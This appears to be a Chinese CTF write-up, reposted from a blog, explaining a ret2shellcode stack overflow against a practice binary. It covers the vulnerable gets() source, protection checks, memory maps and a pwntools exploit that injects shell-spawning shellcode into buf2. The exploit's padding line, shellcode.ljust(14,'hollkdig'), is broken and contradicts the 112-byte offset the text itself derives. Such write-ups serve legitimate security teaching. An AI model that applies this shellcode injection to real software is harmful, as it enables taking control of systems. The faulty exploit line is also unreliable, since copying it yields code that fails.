好好说话之ret2shellcode

本题为ret2shellcode-example

题目路径

/ctf-challenges/pwn/stackoverflow/ret2shellcode/ret2shellcode-example

一、原理

ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限

首先看C代码:

#include <stdio.h>
#include <string.h>
char buf2[100];
int main(void)
{
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stdin, 0LL, 1, 0LL);
    char buf[100];
    printf("No system for you this time !!!\n");
    gets(buf);
    strncpy(buf2, buf, 100);
    printf("bye bye ~");
    return 0;
}

二、程序分析

Checksec看一下这个程序的保护机制

$ checksec ret2shellcode
[*] '/home/hollk/ctf-challenges/pwn/stackoverflow/ret2shellcode/ret2shellcode-example/ ret2shellcode'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

没有开启任何保护,并且在最后RWX指出程序具有读、写、执行权限。IDA看一下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets((char *)&v4);
  strncpy(buf2, (const char *)&v4, 0x64u);
  printf("bye bye ~");
  return 0;
}

v4为gets函数接收数据长度范围,依据ret2text的方法可以得到字符串起始位置距离ret跳转0x6c+4个字节,接下来使用strncpy函数将按输入的内容复制到buf2变量当中。和ret2text不同的是ret2shellcode程序中并没有直接可以调用的"/bin/sh"可以用,没有也没关系,由于NX保护没有开启,我们可以自己构造shellcode放在栈中。接下来需要找存放shellcode的位置,由于输入的字符串存储在buf2变量当中,所以可以从buf2变量下手

.bss:0804A080                 public buf2
.bss:0804A080 ; char buf2[100]
.bss:0804A080 buf2            db 64h dup(?)           ; DATA XREF: main+7Bo
.bss:0804A080 _bss            ends
.bss:0804A080

通过IDA可以找到buf2变量存放在bss段(0x0804A080),因为一会自己构造的shellcode需要存放在buf2变量中,而buf2变量存放在程序的bss段,所以需要通过gdb查看一下该程序是否在bss段具有执行权限,如果没有执行权限,连带着buf2变量中的shellcode就不可执行

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 0x8048000  0x8049000 r-xp     1000 0      /home/hollk/ctf-challenges/pwn/stackoverflow /ret2shellcode/ret2shellcode-example/ret2shellcode
 0x8049000  0x804a000 r-xp     1000 0      /home/hollk/ctf-challenges/pwn/stackoverflow /ret2shellcode/ret2shellcode-example/ret2shellcode
 0x804a000  0x804b000 rwxp     1000 1000   /home/hollk/ctf-challenges/pwn/stackoverflow /ret2shellcode/ret2shellcode-example/ret2shellcode
0xf7ddd000 0xf7fb2000 r-xp   1d5000 0      /lib/i386-linux-gnu/libc-2.27.so
0xf7fb2000 0xf7fb3000 ---p     1000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fb3000 0xf7fb5000 r-xp     2000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fb5000 0xf7fb6000 rwxp     1000 1d7000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fb6000 0xf7fb9000 rwxp     3000 0      
0xf7fd0000 0xf7fd2000 rwxp     2000 0      
0xf7fd2000 0xf7fd5000 r--p     3000 0      [vvar]
0xf7fd5000 0xf7fd6000 r-xp     1000 0      [vdso]
0xf7fd5000 0xf7ffe000 rwxp    29000 0      <explored>
0xf7fd6000 0xf7ffc000 r-xp    26000 0      /lib/i386-linux-gnu/ld-2.27.so
0xf7ffc000 0xf7ffd000 r-xp     1000 25000  /lib/i386-linux-gnu/ld-2.27.so
0xf7ffd000 0xf7ffe000 rwxp     1000 26000  /lib/i386-linux-gnu/ld-2.27.so
0xfffdd000 0xffffe000 rwxp    21000 0      [stack]

通过gdb中vmmap命令可以查看程序各段执行权限,由于buf2存放地址为bss段的0x0804A080位置,结果显示

0x804a000  0x804b000 rwxp     1000 1000   /home/hollk/ctf-challenges/pwn/stackoverflow /ret2shellcode/ret2shellcode-example/ret2shellcode

可以看到执行权限为"rwxp",所以该bss段具有执行权限,那么在buf2变量中写入shellcode就可以执行。

三、EXP

EXP的思路:先使用字符串将整个可控内存空间填满,接下来覆盖saved edp和ret地址,在输入并回车后,字符串就会复制到buf2变量中,那么前期填充字符串的时候就可以使用shellcode字符串追加’A’这种形式进行填充,最后将buf2变量的地址覆盖到ret跳转位置,程序返回后会执行存放在buf2变量中的shellcode

EXP:

from pwn import *

sh = process('./ret2shellcode')
buf2_add = 0x0804A080
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(14,'hollkdig')+p32(buf2_add) #112个字节+buf2_add
sh.sendline(payload)
sh.interactive()

猜你喜欢

转载自blog.csdn.net/qq_41202237/article/details/105913330